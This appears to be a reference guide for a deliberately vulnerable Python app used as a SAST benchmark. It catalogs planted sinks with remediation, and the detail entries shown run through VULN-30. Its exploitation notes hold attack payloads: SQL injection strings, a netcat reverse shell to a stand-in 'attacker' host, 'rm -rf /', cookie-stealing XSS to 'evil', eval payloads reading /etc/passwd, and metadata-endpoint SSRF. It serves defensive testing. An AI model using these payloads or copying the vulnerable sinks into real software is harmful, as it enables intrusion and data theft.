

Vulnerable Python App

Planted Vulnerability Reference & Exploitation Guide

SAST Benchmark Fixture

July 7, 2026

WARNING: This project is intentionally vulnerable. Never deploy, run, or expose it in any real environment. It exists only to benchmark SAST tools.

Contents

1	Overview	2
2	Summary table	2
3	Vulnerability details	4
3.1	VULN-01: CWE-89: SQL Injection	4
3.2	VULN-02: CWE-89: SQL Injection	4
3.3	VULN-03: CWE-89: SQL Injection	5
3.4	VULN-04: CWE-78: OS Command Injection	5
3.5	VULN-05: CWE-78: OS Command Injection	5
3.6	VULN-06: CWE-78: OS Command Injection	6
3.7	VULN-07: CWE-95: Code Injection (eval/exec)	6
3.8	VULN-08: CWE-95: Code Injection (eval/exec)	6
3.9	VULN-09: CWE-90: LDAP Injection	7
3.10	VULN-10: CWE-943: NoSQL Injection	7
3.11	VULN-11: CWE-1333: Inefficient Regular Expression (ReDoS)	7
3.12	VULN-12: CWE-79: Cross-Site Scripting	8
3.13	VULN-13: CWE-79: Cross-Site Scripting	8
3.14	VULN-14: CWE-1336: Server-Side Template Injection	8
3.15	VULN-15: CWE-601: Open Redirect	9
3.16	VULN-16: CWE-113: HTTP Response Splitting	9
3.17	VULN-17: CWE-614: Sensitive Cookie Without Secure/HttpOnly	9
3.18	VULN-18: CWE-942: Overly Permissive CORS	9
3.19	VULN-19: CWE-1021: Missing Anti-Clickjacking Header	10
3.20	VULN-20: CWE-22: Path Traversal	10
3.21	VULN-21: CWE-22: Path Traversal	10
3.22	VULN-22: CWE-918: Server-Side Request Forgery	11
3.23	VULN-23: CWE-22: Path Traversal	11
3.24	VULN-24: CWE-377: Insecure Temporary File	11
3.25	VULN-25: CWE-732: Incorrect Permission Assignment	11
3.26	VULN-26: CWE-502: Deserialization of Untrusted Data	12
3.27	VULN-27: CWE-798: Use of Hard-coded Credentials	12
3.28	VULN-28: CWE-798: Use of Hard-coded Credentials	12
3.29	VULN-29: CWE-259: Use of Hard-coded Password	13
3.30	VULN-30: CWE-327: Broken/Risky Cryptographic Algorithm	13

3.31	VULN-31: CWE-327: Broken/Risky Cryptographic Algorithm	13
3.32	VULN-32: CWE-327: Broken/Risky Cryptographic Algorithm	13
3.33	VULN-33: CWE-327: Broken/Risky Cryptographic Algorithm	14
3.34	VULN-34: CWE-329: Not Using Random IV With CBC	14
3.35	VULN-35: CWE-330: Use of Insufficiently Random Values	14
3.36	VULN-36: CWE-337: Predictable Seed in PRNG	15
3.37	VULN-37: CWE-759: Password Hash Without Salt	15
3.38	VULN-38: CWE-306: Missing Authentication for Critical Function	15
3.39	VULN-39: CWE-639: Authorization Bypass / IDOR	15
3.40	VULN-40: CWE-269: Improper Privilege Management	16
3.41	VULN-41: CWE-256: Plaintext Storage of Password	16
3.42	VULN-42: CWE-326: Inadequate Encryption Strength	16
3.43	VULN-43: CWE-287: Improper Authentication	16
3.44	VULN-44: CWE-521: Weak Password Requirements	17
3.45	VULN-45: CWE-208: Observable Timing Discrepancy	17
3.46	VULN-46: CWE-347: Improper Verification of Cryptographic Signature	17
3.47	VULN-47: CWE-798: Use of Hard-coded Credentials	18
3.48	VULN-48: CWE-307: Improper Restriction of Excessive Auth Attempts	18
3.49	VULN-49: CWE-209: Information Exposure Through Error Message	18
3.50	VULN-50: CWE-611: XML External Entity (XXE)	18
3.51	VULN-51: CWE-502: Deserialization of Untrusted Data	19
3.52	VULN-52: CWE-470: Unsafe Reflection	19
3.53	VULN-53: CWE-117: Log Injection	19
3.54	VULN-54: CWE-532: Sensitive Information in Log File	20
3.55	VULN-55: CWE-295: Improper Certificate Validation	20
3.56	VULN-56: CWE-327: Broken/Risky Cryptographic Algorithm	20
3.57	VULN-57: CWE-489: Active Debug Code	20
3.58	VULN-58: CWE-312: Cleartext Storage of Sensitive Information	21
3.59	VULN-59: CWE-20: Improper Input Validation	21
3.60	VULN-60: CWE-434: Unrestricted File Upload	21
3.61	VULN-61: CWE-89: SQL Injection	22
3.62	VULN-62: CWE-89: SQL Injection	22
3.63	VULN-63: CWE-88: Argument Injection	22
3.64	VULN-64: CWE-917: Expression Language Injection	23
3.65	VULN-65: CWE-643: XPath Injection	23
3.66	VULN-66: CWE-93: CRLF / Header Injection	23
3.67	VULN-67: CWE-79: Cross-Site Scripting	23
3.68	VULN-68: CWE-116: Improper Encoding or Escaping of Output	24
3.69	VULN-69: CWE-134: Uncontrolled Format String	24
3.70	VULN-70: CWE-915: Mass Assignment	24
3.71	VULN-71: CWE-601: Open Redirect	25
3.72	VULN-72: CWE-918: Server-Side Request Forgery	25
3.73	VULN-73: CWE-776: XML Entity Expansion (Billion Laughs)	25
3.74	VULN-74: CWE-1275: Sensitive Cookie Without SameSite	26
3.75	VULN-75: CWE-352: Cross-Site Request Forgery	26
3.76	VULN-76: CWE-644: Improper Neutralization of HTTP Headers	26
3.77	VULN-77: CWE-601: Open Redirect	27
3.78	VULN-78: CWE-78: OS Command Injection	27
3.79	VULN-79: CWE-1336: Server-Side Template Injection	27
3.80	VULN-80: CWE-1333: Inefficient Regular Expression (ReDoS)	27
3.81	VULN-81: CWE-367: TOCTOU Race Condition	28
3.82	VULN-82: CWE-362: Concurrent Execution Race Condition	28
3.83	VULN-83: CWE-772: Missing Release of Resource	28

3.84	VULN-84: CWE-772: Missing Release of Resource	28
3.85	VULN-85: CWE-789: Uncontrolled Memory Allocation	29
3.86	VULN-86: CWE-190: Integer Overflow or Wraparound	29
3.87	VULN-87: CWE-835: Loop With Unreachable Exit Condition	29
3.88	VULN-88: CWE-369: Divide By Zero	30
3.89	VULN-89: CWE-476: NULL Pointer Dereference	30
3.90	VULN-90: CWE-617: Reachable Assertion	30
3.91	VULN-91: CWE-597: Use of Wrong Operator in String Comparison	30
3.92	VULN-92: CWE-798: Use of Hard-coded Credentials	31
3.93	VULN-93: CWE-548: Information Exposure Through Directory Listing	31
3.94	VULN-94: CWE-200: Exposure of Sensitive Information	31
3.95	VULN-95: CWE-501: Trust Boundary Violation	31
3.96	VULN-96: CWE-345: Insufficient Verification of Data Authenticity	32
3.97	VULN-97: CWE-681: Incorrect Numeric Conversion	32
3.98	VULN-98: CWE-602: Client-Side Enforcement of Server-Side Security	32
3.99	VULN-99: CWE-478: Missing Default Case in Multiple Condition Expression	33
3.100	VULN-100: CWE-598: Information Exposure Through Query Strings	33

1 Overview

This catalog documents the **100** vulnerabilities planted across **74** unique CWE classes in this fixture. Each entry gives the location (as recorded in `reference.sarif`), the planted sink, a plain-language explanation, concrete exploitation variants, and remediation. Every sink is marked in-source with a `# VULN-XX` comment.

2 Summary table

ID	CWE	File	Line	Sev
VULN-01	CWE-89	injection_vulns.py	18	8.0
VULN-02	CWE-89	injection_vulns.py	26	8.0
VULN-03	CWE-89	injection_vulns.py	33	8.0
VULN-04	CWE-78	injection_vulns.py	39	8.0
VULN-05	CWE-78	injection_vulns.py	44	8.0
VULN-06	CWE-78	injection_vulns.py	50	8.0
VULN-07	CWE-95	injection_vulns.py	55	8.0
VULN-08	CWE-95	injection_vulns.py	60	8.0
VULN-09	CWE-90	injection_vulns.py	65	8.0
VULN-10	CWE-943	injection_vulns.py	70	8.0
VULN-11	CWE-1333	injection_vulns.py	75	8.0
VULN-12	CWE-79	web_vulns.py	12	8.0
VULN-13	CWE-79	web_vulns.py	18	8.0
VULN-14	CWE-1336	web_vulns.py	23	8.0
VULN-15	CWE-601	web_vulns.py	28	8.0
VULN-16	CWE-113	web_vulns.py	34	8.0
VULN-17	CWE-614	web_vulns.py	40	8.0
VULN-18	CWE-942	web_vulns.py	46	8.0
VULN-19	CWE-1021	web_vulns.py	53	8.0
VULN-20	CWE-22	file_network_vulns.py	17	8.0
VULN-21	CWE-22	file_network_vulns.py	23	8.0
VULN-22	CWE-918	file_network_vulns.py	29	8.0
VULN-23	CWE-22	file_network_vulns.py	35	8.0
VULN-24	CWE-377	file_network_vulns.py	41	8.0
VULN-25	CWE-732	file_network_vulns.py	49	8.0
VULN-26	CWE-502	file_network_vulns.py	54	8.0
VULN-27	CWE-798	crypto_secret_vulns.py	11	8.0
VULN-28	CWE-798	crypto_secret_vulns.py	13	8.0
VULN-29	CWE-259	crypto_secret_vulns.py	15	8.0
VULN-30	CWE-327	crypto_secret_vulns.py	20	8.0
VULN-31	CWE-327	crypto_secret_vulns.py	25	8.0
VULN-32	CWE-327	crypto_secret_vulns.py	31	8.0
VULN-33	CWE-327	crypto_secret_vulns.py	38	8.0
VULN-34	CWE-329	crypto_secret_vulns.py	46	8.0
VULN-35	CWE-330	crypto_secret_vulns.py	52	8.0
VULN-36	CWE-337	crypto_secret_vulns.py	57	8.0

ID	CWE	File	Line	Sev
VULN-37	CWE-759	crypto_secret_vulns.py	63	8.0
VULN-38	CWE-306	auth_api_vulns.py	17	8.0
VULN-39	CWE-639	auth_api_vulns.py	23	8.0
VULN-40	CWE-269	auth_api_vulns.py	28	8.0
VULN-41	CWE-256	auth_api_vulns.py	34	8.0
VULN-42	CWE-326	auth_api_vulns.py	39	8.0
VULN-43	CWE-287	auth_api_vulns.py	44	8.0
VULN-44	CWE-521	auth_api_vulns.py	49	8.0
VULN-45	CWE-208	auth_api_vulns.py	54	8.0
VULN-46	CWE-347	auth_api_vulns.py	60	8.0
VULN-47	CWE-798	auth_api_vulns.py	66	8.0
VULN-48	CWE-307	auth_api_vulns.py	71	8.0
VULN-49	CWE-209	auth_api_vulns.py	81	8.0
VULN-50	CWE-611	data_config_vulns.py	20	8.0
VULN-51	CWE-502	data_config_vulns.py	25	8.0
VULN-52	CWE-470	data_config_vulns.py	31	8.0
VULN-53	CWE-117	data_config_vulns.py	37	8.0
VULN-54	CWE-532	data_config_vulns.py	42	8.0
VULN-55	CWE-295	data_config_vulns.py	50	8.0
VULN-56	CWE-327	data_config_vulns.py	56	8.0
VULN-57	CWE-489	data_config_vulns.py	61	8.0
VULN-58	CWE-312	data_config_vulns.py	66	8.0
VULN-59	CWE-20	data_config_vulns.py	72	8.0
VULN-60	CWE-434	data_config_vulns.py	78	8.0
VULN-61	CWE-89	advanced_injection_vulns.py	20	8.0
VULN-62	CWE-89	advanced_injection_vulns.py	27	8.0
VULN-63	CWE-88	advanced_injection_vulns.py	33	8.0
VULN-64	CWE-917	advanced_injection_vulns.py	38	8.0
VULN-65	CWE-643	advanced_injection_vulns.py	43	8.0
VULN-66	CWE-93	advanced_injection_vulns.py	48	8.0
VULN-67	CWE-79	advanced_injection_vulns.py	55	8.0
VULN-68	CWE-116	advanced_injection_vulns.py	61	8.0
VULN-69	CWE-134	advanced_injection_vulns.py	67	8.0
VULN-70	CWE-915	advanced_injection_vulns.py	72	8.0
VULN-71	CWE-601	advanced_injection_vulns.py	79	8.0
VULN-72	CWE-918	advanced_injection_vulns.py	86	8.0
VULN-73	CWE-776	advanced_injection_vulns.py	93	8.0
VULN-74	CWE-1275	advanced_injection_vulns.py	99	8.0
VULN-75	CWE-352	advanced_injection_vulns.py	105	8.0
VULN-76	CWE-644	advanced_injection_vulns.py	111	8.0
VULN-77	CWE-601	advanced_injection_vulns.py	117	8.0
VULN-78	CWE-78	advanced_injection_vulns.py	123	8.0
VULN-79	CWE-1336	advanced_injection_vulns.py	129	8.0
VULN-80	CWE-1333	advanced_injection_vulns.py	134	8.0

ID	CWE	File	Line	Sev
VULN-81	CWE-367	concurrency_misc_vulns.py	21	8.0
VULN-82	CWE-362	concurrency_misc_vulns.py	29	8.0
VULN-83	CWE-772	concurrency_misc_vulns.py	35	8.0
VULN-84	CWE-772	concurrency_misc_vulns.py	42	8.0
VULN-85	CWE-789	concurrency_misc_vulns.py	49	8.0
VULN-86	CWE-190	concurrency_misc_vulns.py	56	8.0
VULN-87	CWE-835	concurrency_misc_vulns.py	62	8.0
VULN-88	CWE-369	concurrency_misc_vulns.py	70	8.0
VULN-89	CWE-476	concurrency_misc_vulns.py	76	8.0
VULN-90	CWE-617	concurrency_misc_vulns.py	82	8.0
VULN-91	CWE-597	concurrency_misc_vulns.py	88	8.0
VULN-92	CWE-798	concurrency_misc_vulns.py	93	8.0
VULN-93	CWE-548	concurrency_misc_vulns.py	98	8.0
VULN-94	CWE-200	concurrency_misc_vulns.py	104	8.0
VULN-95	CWE-501	concurrency_misc_vulns.py	110	8.0
VULN-96	CWE-345	concurrency_misc_vulns.py	116	8.0
VULN-97	CWE-681	concurrency_misc_vulns.py	122	8.0
VULN-98	CWE-602	concurrency_misc_vulns.py	127	8.0
VULN-99	CWE-478	concurrency_misc_vulns.py	135	8.0
VULN-100	CWE-598	concurrency_misc_vulns.py	143	8.0

3 Vulnerability details

3.1 VULN-01: CWE-89: SQL Injection

Location: src/vulnapp/injection_vulns.py, line 18 **Rule:** python/sql-injection **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/89.html>

Planted sink:

```
cur.execute("SELECT * FROM users WHERE id = '" + user_id + "'")
```

What it is. SQL injection: untrusted input is concatenated into a SQL query string.

Exploitation variants.

- Auth bypass: ‘ OR ’1’=’1‘ in a login field.
- Data exfiltration via UNION: ‘ UNION SELECT username,password FROM users-‘.
- Blind/time-based extraction with ‘SLEEP()’/‘WAITFOR’; stacked queries for write/DROP.

Remediation. Use parameterized queries / PreparedStatement; never build SQL by string concatenation.

3.2 VULN-02: CWE-89: SQL Injection

Location: src/vulnapp/injection_vulns.py, line 26 **Rule:** python/sql-injection **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/89.html>

Planted sink:

```
cur.execute(q)
```

What it is. SQL injection: untrusted input is concatenated into a SQL query string.

Exploitation variants.

- Auth bypass: ‘ OR ’1’=’1’ in a login field.
- Data exfiltration via UNION: ‘ UNION SELECT username,password FROM users-’.
- Blind/time-based extraction with ‘SLEEP()’/‘WAITFOR’; stacked queries for write/DROP.

Remediation. Use parameterized queries / PreparedStatement; never build SQL by string concatenation.

3.3 VULN-03: CWE-89: SQL Injection

Location: src/vulnapp/injection_vulns.py, line 33 **Rule:** python/sql-injection **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/89.html>

Planted sink:

```
cur.execute(f"UPDATE users SET role='{role}' WHERE id={uid}")
```

What it is. SQL injection: untrusted input is concatenated into a SQL query string.

Exploitation variants.

- Auth bypass: ‘ OR ’1’=’1’ in a login field.
- Data exfiltration via UNION: ‘ UNION SELECT username,password FROM users-’.
- Blind/time-based extraction with ‘SLEEP()’/‘WAITFOR’; stacked queries for write/DROP.

Remediation. Use parameterized queries / PreparedStatement; never build SQL by string concatenation.

3.4 VULN-04: CWE-78: OS Command Injection

Location: src/vulnapp/injection_vulns.py, line 39 **Rule:** python/os-command-injection **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/78.html>

Planted sink:

```
os.system("ping -c 1 " + host)
```

What it is. OS command injection: untrusted input is concatenated into a shell/command invocation.

Exploitation variants.

- Inject shell metacharacters: ‘; rm -rf /’, ‘| nc attacker 4444 -e /bin/sh’, ‘\$(curl evil)’.
- Use ‘&&’, ‘||’, backticks or ‘\$()’ to chain arbitrary commands.
- On ‘Runtime.exec(String)’ the string is split naively, so spaces/quotes can be abused.

Remediation. Avoid the shell; use ProcessBuilder with an argument array and a fixed command, validate arguments.

3.5 VULN-05: CWE-78: OS Command Injection

Location: src/vulnapp/injection_vulns.py, line 44 **Rule:** python/os-command-injection **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/78.html>

Planted sink:

```
return subprocess.check_output("cat " + filename, shell=True)
```

What it is. OS command injection: untrusted input is concatenated into a shell/command invocation.

Exploitation variants.

- Inject shell metacharacters: `‘; rm -rf /’, ‘| nc attacker 4444 -e /bin/sh’, ‘$(curl evil)’`.
- Use `‘&&’, ‘||’, backticks or ‘$()’` to chain arbitrary commands.
- On `‘Runtime.exec(String)’` the string is split naively, so spaces/quotes can be abused.

Remediation. Avoid the shell; use `ProcessBuilder` with an argument array and a fixed command, validate arguments.

3.6 VULN-06: CWE-78: OS Command Injection

Location: `src/vulnapp/injection_vulns.py`, line 50 **Rule:** `python/os-command-injection`

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/78.html>

Planted sink:

```
return os.popen(cmd).read()
```

What it is. OS command injection: untrusted input is concatenated into a shell/command invocation.

Exploitation variants.

- Inject shell metacharacters: `‘; rm -rf /’, ‘| nc attacker 4444 -e /bin/sh’, ‘$(curl evil)’`.
- Use `‘&&’, ‘||’, backticks or ‘$()’` to chain arbitrary commands.
- On `‘Runtime.exec(String)’` the string is split naively, so spaces/quotes can be abused.

Remediation. Avoid the shell; use `ProcessBuilder` with an argument array and a fixed command, validate arguments.

3.7 VULN-07: CWE-95: Code Injection (eval/exec)

Location: `src/vulnapp/injection_vulns.py`, line 55 **Rule:** `python/code-injection` **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/95.html>

Planted sink:

```
return eval(expr)
```

What it is. Eval injection: untrusted input is passed to a dynamic-evaluation primitive (`eval/exec/compile`), so the attacker’s data is executed as code.

Exploitation variants.

- Supply `‘__import__(‘os’).system(‘id’)’` to run arbitrary OS commands.
- Use `‘().__class__.__bases__[0].__subclasses__()’` gadget chains to escape restricted eval namespaces.
- Read/exfiltrate secrets: `‘open(‘/etc/passwd’).read()’` inside the evaluated expression.

Remediation. Never `eval/exec` untrusted input. Parse with `ast.literal_eval` for data, or use an explicit allow-listed dispatch table.

3.8 VULN-08: CWE-95: Code Injection (eval/exec)

Location: `src/vulnapp/injection_vulns.py`, line 60 **Rule:** `python/code-injection` **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/95.html>

Planted sink:

```
exec(src)
```

What it is. Eval injection: untrusted input is passed to a dynamic-evaluation primitive (eval/exec/compile), so the attacker's data is executed as code.

Exploitation variants.

- Supply `'__import__'('os').system('id')` to run arbitrary OS commands.
- Use `'().__class__.__bases__[0].__subclasses__()'` gadget chains to escape restricted eval namespaces.
- Read/exfiltrate secrets: `'open('/etc/passwd').read()'` inside the evaluated expression.

Remediation. Never eval/exec untrusted input. Parse with `ast.literal_eval` for data, or use an explicit allow-listed dispatch table.

3.9 VULN-09: CWE-90: LDAP Injection

Location: `src/vulnapp/injection_vulns.py`, line 65 **Rule:** `python/ldap-injection` **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/90.html>

Planted sink:

```
return conn.search_s("ou=users,dc=example,dc=com", 2, "(uid=" + username + ")")
```

What it is. LDAP injection: untrusted input is placed into an LDAP filter unescaped.

Exploitation variants.

- Inject `'*)(uid=*)'(|(uid=*` to broaden the filter and enumerate/bypass auth.
- Use `'*' wildcards to match all entries; blind extraction of attribute values.`

Remediation. Escape LDAP special chars per RFC 4515 or use parameterized LDAP APIs; validate input.

3.10 VULN-10: CWE-943: NoSQL Injection

Location: `src/vulnapp/injection_vulns.py`, line 70 **Rule:** `python/nosql-injection` **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/943.html>

Planted sink:

```
return collection.find({"$where": "this.name == '" + username + "'"})
```

What it is. NoSQL injection: input concatenated/embedded into a NoSQL query/object.

Exploitation variants.

- Inject operator objects like `'{"$ne": null}' / '{"$gt":""}'` to bypass auth or dump data.
- Use `'$where'` with JS for server-side evaluation.

Remediation. Use typed query builders/parameterization; reject operator objects from input.

3.11 VULN-11: CWE-1333: Inefficient Regular Expression (ReDoS)

Location: `src/vulnapp/injection_vulns.py`, line 75 **Rule:** `python/redos` **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/1333.html>

Planted sink:

```
return re.match(user_pattern, text)
```

What it is. Inefficient regex enabling ReDoS (catastrophic backtracking).

Exploitation variants.

- Send crafted input that makes the regex backtrack exponentially, pinning CPU (DoS).

Remediation. Use linear-time regex engines, bound input, avoid nested quantifiers.

3.12 VULN-12: CWE-79: Cross-Site Scripting

Location: src/vulnapp/web_vulns.py, line 12 **Rule:** python/cross-site-scripting **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/79.html>

Planted sink:

```
return Response("<h1>Hello " + name + "</h1>", mimetype="text/html")
```

What it is. Cross-site scripting: untrusted input is reflected into HTML/JS without encoding.

Exploitation variants.

- Reflected: ‘?q=<script>document.location=’//evil/’+document.cookie</script>’ to steal sessions.
- Use event handlers/‘’ when ‘<script>’ is filtered.
- Escalate to keylogging, CSRF token theft, or full account takeover.

Remediation. Context-aware output encoding (HTML/attr/JS/URL); use a template engine that auto-escapes and set CSP.

3.13 VULN-13: CWE-79: Cross-Site Scripting

Location: src/vulnapp/web_vulns.py, line 18 **Rule:** python/cross-site-scripting **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/79.html>

Planted sink:

```
return Response(html, mimetype="text/html")
```

What it is. Cross-site scripting: untrusted input is reflected into HTML/JS without encoding.

Exploitation variants.

- Reflected: ‘?q=<script>document.location=’//evil/’+document.cookie</script>’ to steal sessions.
- Use event handlers/‘’ when ‘<script>’ is filtered.
- Escalate to keylogging, CSRF token theft, or full account takeover.

Remediation. Context-aware output encoding (HTML/attr/JS/URL); use a template engine that auto-escapes and set CSP.

3.14 VULN-14: CWE-1336: Server-Side Template Injection

Location: src/vulnapp/web_vulns.py, line 23 **Rule:** python/server-side-template-injection **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/1336.html>

Planted sink:

```
return render_template_string("Hello " + template_src)
```

What it is. Server-Side Template Injection: input becomes part of a template.

Exploitation variants.

- Inject template syntax ('\${7*7}', '#{...}') that the engine evaluates, often to RCE.

Remediation. Never render user input as template source; pass it as data only.

3.15 VULN-15: CWE-601: Open Redirect

Location: src/vulnapp/web_vulns.py, line 28 **Rule:** python/open-redirect **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/601.html>

Planted sink:

```
return redirect(target)
```

What it is. Open redirect: redirect target comes from user input.

Exploitation variants.

- Craft '?next=//evil.com' links for phishing that appear to originate from the trusted site.

Remediation. Allow-list redirect targets or use relative paths only.

3.16 VULN-16: CWE-113: HTTP Response Splitting

Location: src/vulnapp/web_vulns.py, line 34 **Rule:** python/http-response-splitting **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/113.html>

Planted sink:

```
resp.headers["Location"] = location
```

What it is. HTTP response splitting: CRLF in input used to build a response header.

Exploitation variants.

- Inject '%0d%0aSet-Cookie: session=attacker' to fixate sessions.
- Split off a second, attacker-controlled response body (cache poisoning / XSS).

Remediation. Reject CR/LF in header values; use framework APIs that encode headers safely.

3.17 VULN-17: CWE-614: Sensitive Cookie Without Secure/HttpOnly

Location: src/vulnapp/web_vulns.py, line 40 **Rule:** python/sensitive-cookie-without-secure-httponly **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/614.html>

Planted sink:

```
resp.set_cookie("session", session_id, secure=False, httponly=False)
```

What it is. Sensitive cookie set without Secure/HttpOnly flags.

Exploitation variants.

- Steal the cookie via XSS (no HttpOnly) or over HTTP (no Secure).

Remediation. Set Secure, HttpOnly and SameSite on session cookies.

3.18 VULN-18: CWE-942: Overly Permissive CORS

Location: src/vulnapp/web_vulns.py, line 46 **Rule:** python/permissive-cors **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/942.html>

Planted sink:

```
resp.headers["Access-Control-Allow-Origin"] = "*"
```

What it is. Overly permissive CORS (wildcard/reflected origin with credentials).

Exploitation variants.

- Malicious site reads authenticated responses cross-origin, exfiltrating data.

Remediation. Allow-list specific origins; never combine “*” with credentials.

3.19 VULN-19: CWE-1021: Missing Anti-Clickjacking Header

Location: src/vulnapp/web_vulns.py, line 53 **Rule:** python/clickjacking **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/1021.html>

Planted sink:

```
resp.headers["Content-Type"] = "text/html"
```

What it is. Missing anti-framing protection (clickjacking).

Exploitation variants.

- Frame the site and trick users into clicking hidden actions (UI redress).

Remediation. Set X-Frame-Options: DENY / CSP frame-ancestors.

3.20 VULN-20: CWE-22: Path Traversal

Location: src/vulnapp/file_network_vulns.py, line 17 **Rule:** python/path-traversal **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/22.html>

Planted sink:

```
with open(base + filename) as f:
```

What it is. Path traversal: user input flows into a file path, letting the attacker escape the intended directory.

Exploitation variants.

- Supply ‘../..../etc/passwd’ (or Windows ‘..\\..\\’) to read arbitrary files.
- Use absolute paths, URL-encoded (‘%2e%2e%2f’) or null-byte tricks to bypass naive filters.
- Write variant: traverse to overwrite config/startup files to achieve code execution.

Remediation. Canonicalize the path and verify it is still under the intended base dir; prefer an allow-list of file ids.

3.21 VULN-21: CWE-22: Path Traversal

Location: src/vulnapp/file_network_vulns.py, line 23 **Rule:** python/path-traversal **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/22.html>

Planted sink:

```
with open(os.path.join("/var/www/uploads/", filename), "w") as f:
```

What it is. Path traversal: user input flows into a file path, letting the attacker escape the intended directory.

Exploitation variants.

- Supply ‘../..../etc/passwd’ (or Windows ‘..\\..\\’) to read arbitrary files.
- Use absolute paths, URL-encoded (‘%2e%2e%2f’) or null-byte tricks to bypass naive filters.
- Write variant: traverse to overwrite config/startup files to achieve code execution.

Remediation. Canonicalize the path and verify it is still under the intended base dir; prefer an allow-list of file ids.

3.22 VULN-22: CWE-918: Server-Side Request Forgery

Location: src/vulnapp/file_network_vulns.py, line 29 **Rule:** python/server-side-request-forgery

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/918.html>

Planted sink:

```
return urllib.request.urlopen(url).read()
```

What it is. Server-Side Request Forgery: server fetches a user-supplied URL.

Exploitation variants.

- Point it at internal services ('http://169.254.169.254/', 'http://localhost:admin') to reach cloud metadata/internal APIs.
- Use 'file://'/'gopher://' schemes for local file read or protocol smuggling.

Remediation. Allow-list destinations, block internal ranges/metadata, disable risky schemes.

3.23 VULN-23: CWE-22: Path Traversal

Location: src/vulnapp/file_network_vulns.py, line 35 **Rule:** python/path-traversal **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/22.html>

Planted sink:

```
tf.extractall(dest)
```

What it is. Path traversal: user input flows into a file path, letting the attacker escape the intended directory.

Exploitation variants.

- Supply '.././../etc/passwd' (or Windows '..\..\') to read arbitrary files.
- Use absolute paths, URL-encoded ('%2e%2e%2f') or null-byte tricks to bypass naive filters.
- Write variant: traverse to overwrite config/startup files to achieve code execution.

Remediation. Canonicalize the path and verify it is still under the intended base dir; prefer an allow-list of file ids.

3.24 VULN-24: CWE-377: Insecure Temporary File

Location: src/vulnapp/file_network_vulns.py, line 41 **Rule:** python/insecure-temporary-file **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/377.html>

Planted sink:

```
path = "/tmp/app_" + str(os.getpid()) + ".tmp"
```

What it is. Insecure temporary file creation (predictable name, world-readable).

Exploitation variants.

- Predict/pre-create the temp file (symlink) to read/overwrite its contents (race).

Remediation. Use Files.createTempFile with secure perms; avoid predictable names.

3.25 VULN-25: CWE-732: Incorrect Permission Assignment

Location: src/vulnapp/file_network_vulns.py, line 49 **Rule:** python/incorrect-permission-assignment **Severity:** 8.0

Reference: <https://cwe.mitre.org/data/definitions/732.html>

Planted sink:

```
os.chmod(path, 0o777)
```

What it is. Incorrect permission assignment for a critical resource (world-writable/readable).

Exploitation variants.

- Any local user reads secrets or overwrites the resource.

Remediation. Set least-privilege file/resource permissions (e.g. 600/640).

3.26 VULN-26: CWE-502: Deserialization of Untrusted Data

Location: src/vulnapp/file_network_vulns.py, line 54 **Rule:** python/deserialization-of-untrusted-Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/502.html>

Planted sink:

```
return pickle.loads(data)
```

What it is. Deserialization of untrusted data.

Exploitation variants.

- Send a crafted serialized object (gadget chain) to achieve RCE on readObject.
- Trigger DoS via billion-objects/large graphs.

Remediation. Avoid native deserialization of untrusted input; use safe formats (JSON) with allow-lists.

3.27 VULN-27: CWE-798: Use of Hard-coded Credentials

Location: src/vulnapp/crypto_secret_vulns.py, line 11 **Rule:** python/use-of-hard-coded-credentialSeverity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/798.html>

Planted sink:

```
DB_PASSWORD = "SuperSecret123!"
```

What it is. Hard-coded credentials (keys/tokens/passwords) in source.

Exploitation variants.

- Extract the secret from the repo/binary and use it directly.

Remediation. Externalize secrets to a vault/env; rotate leaked ones.

3.28 VULN-28: CWE-798: Use of Hard-coded Credentials

Location: src/vulnapp/crypto_secret_vulns.py, line 13 **Rule:** python/use-of-hard-coded-credentialSeverity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/798.html>

Planted sink:

```
AES_KEY = b"0123456789abcdef"
```

What it is. Hard-coded credentials (keys/tokens/passwords) in source.

Exploitation variants.

- Extract the secret from the repo/binary and use it directly.

Remediation. Externalize secrets to a vault/env; rotate leaked ones.

3.29 VULN-29: CWE-259: Use of Hard-coded Password

Location: src/vulnapp/crypto_secret_vulns.py, line 15 **Rule:** python/use-of-hard-coded-password

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/259.html>

Planted sink:

```
API_TOKEN = "sk_live_51H8xYzABCDEF0123456789"
```

What it is. A hard-coded password is embedded in source.

Exploitation variants.

- Extract it from the binary/repo and authenticate directly.
- The same secret is shared across all deployments and cannot be rotated easily.

Remediation. Load secrets from a vault/env; never commit them.

3.30 VULN-30: CWE-327: Broken/Risky Cryptographic Algorithm

Location: src/vulnapp/crypto_secret_vulns.py, line 20 **Rule:** python/broken-risky-crypto-algorithm

Severity: 8.0

Reference: <https://cwe.mitre.org/data/definitions/327.html>

Planted sink:

```
return hashlib.md5(password.encode()).hexdigest()
```

What it is. A broken or risky cryptographic algorithm is used (DES, MD5, SHA1, ECB...).

Exploitation variants.

- Exploit known weaknesses (collisions, small keyspace, ECB pattern leakage) to forge or decrypt.

Remediation. Use vetted primitives: AES-GCM, SHA-256+, HMAC; avoid ECB and legacy ciphers.

